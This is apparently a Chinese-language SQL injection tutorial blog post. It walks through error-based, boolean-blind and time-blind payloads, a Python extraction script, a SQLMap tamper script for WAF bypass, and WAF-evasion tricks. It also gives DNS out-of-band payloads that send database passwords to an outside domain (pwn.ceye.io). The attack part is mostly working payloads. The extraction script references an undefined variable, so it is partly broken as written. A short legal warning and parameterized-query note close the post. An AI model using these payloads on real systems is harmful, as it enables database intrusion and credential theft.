0x00 手工注入:感受原力黑暗面
经典错误型注入解剖
漏洞代码原型:
# 危险代码示例(PHP)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
攻击向量:
1 AND 1=2 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
攻击流程:
0x01 盲注艺术:在黑暗中狩猎
布尔盲注比特战
二进制数据提取算法:
def extract_data(query):
result = ""
for bit in range(1, 9):
payload = f"1' AND (ASCII(SUBSTR(({query}),{byte},1))>>{7-bit}&1=1 -- "
if requests.get(url, params={'id':payload}).status_code == 200:
result += '1'
else:
result += '0'
return chr(int(result,2))
时间盲注钟摆攻击
Oracle延时注入:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE(('PWN'), CASE WHEN (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='A' THEN 5 ELSE 0 END) --
MySQL多级延时:
' OR IF(ASCII(SUBSTR(database(),1,1))>128, BENCHMARK(10000000,MD5('pwn')),1) --
0x02 自动化之王:SQLMap核武库
Tamper脚本工坊
内置脚本解析:
脚本名称 | 对抗目标 | 技术原理 |
---|---|---|
charencode.py | 简单过滤 | URL编码嵌套 |
apostrophemask.py | 单引号过滤 | UTF8全角字符替换 |
space2randomblank.py | WAF规则匹配 | 随机空白符填充 |
自定义Tamper示例:
# bypass_waf.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
trans = {" ": "/**/", "SELECT": "SELSELECTECT"}
retval = payload
for search, replace in trans.items():
retval = retval.replace(search, replace)
return retval
0x03 WAF突围战:三重混淆矩阵
第一层:语义污染
/*!11440UNION*/%0A/*!SELECT*/ 1,2,3
原理:利用MySQL版本特异性注释绕过正则检测
第二层:协议级分片
分块传输编码攻击:
POST /vuln.php HTTP/1.1
Transfer-Encoding: chunked
7
id=1 /*
0
GET /vuln.php?id=1*/ UNION SELECT 1,2,3--
第三层:字符集漩涡
%c2%bf%27%20OR%201=1--%20
魔法字节:0xbf27
在UTF-8解码时转化为¿'
,破坏WAF解析链
0x04 外带通道:突破最后防线
DNS隐秘隧道
Oracle数据外泄:
UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.pwn.ceye.io')
HTTP走私攻击
GET /?id=1;EXEC master..xp_dirtree '\\'+(SELECT TOP 1 column_name FROM information_schema.columns)+'.pwn.ceye.io\test' HTTP/1.1
0x05 实验室:多维注入战场
目标系统:http://hacklab.csdntest/sqli-labs (模拟真实WAF环境)
挑战任务
- 青铜难度:通过错误回显获取数据库版本
- 白银难度:使用时间盲注提取管理员密码哈希
- 黄金难度:绕过云WAF执行任意文件读取
武器库提示:
sqlmap -u "http://hacklab.csdntest/sqli-labs/Less-1/?id=1" \
--tamper=space2comment,randomcase \
--dns-domain=pwn.ceye.io \
--level=5
技术总结
SQL注入进化史 = 手工探测 × 自动化扩展 × WAF对抗
↓
脚本小子 → 漏洞猎手 → 安全架构师
下期剧透:《XSS的艺术》将揭秘:
- 利用DOM Clobbering绕过CSP
- 基于WebRTC的内部网络探测
- 通过Service Worker建立持久化控制
法律红区
⚠️ 未经授权的SQL注入攻击涉嫌《刑法》第285条非法获取计算机信息系统数据罪
防御者沙盘
-- 参数化查询示例(Python)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
-- 正则过滤陷阱(易被绕过)
$filter = preg_replace('/\bUNION\b/i', '', $input);